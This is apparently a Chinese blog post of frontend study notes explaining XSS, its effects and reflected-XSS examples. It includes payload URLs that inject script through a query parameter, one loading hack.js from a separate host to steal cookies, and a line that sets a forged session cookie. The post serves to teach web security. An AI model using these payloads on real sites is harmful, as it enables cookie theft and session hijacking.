网络安全-常见的web攻击手段

最新推荐文章于 2024-09-21 09:34:56 发布

旺旺妙脆角

最新推荐文章于 2024-09-21 09:34:56 发布

阅读量1.9k

点赞数

分类专栏：前端学习笔记文章标签：前端 web安全安全 html

本文链接：https://blog.csdn.net/qq_45129167/article/details/122251758

版权

1、XSS

Cross Site Scripting
跨站脚本攻击

XSS (Cross-Site Scripting)，跨站脚本攻击，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的HTML标签或JavaScript进⾏的⼀种攻击。

跨站脚本攻击有可能造成以下影响:

利⽤虚假输⼊表单骗取⽤户个⼈信息。
利⽤脚本窃取⽤户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
显示伪造的⽂章或图⽚。

XSS攻击分类

反射型 - url参数直接注⼊

// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0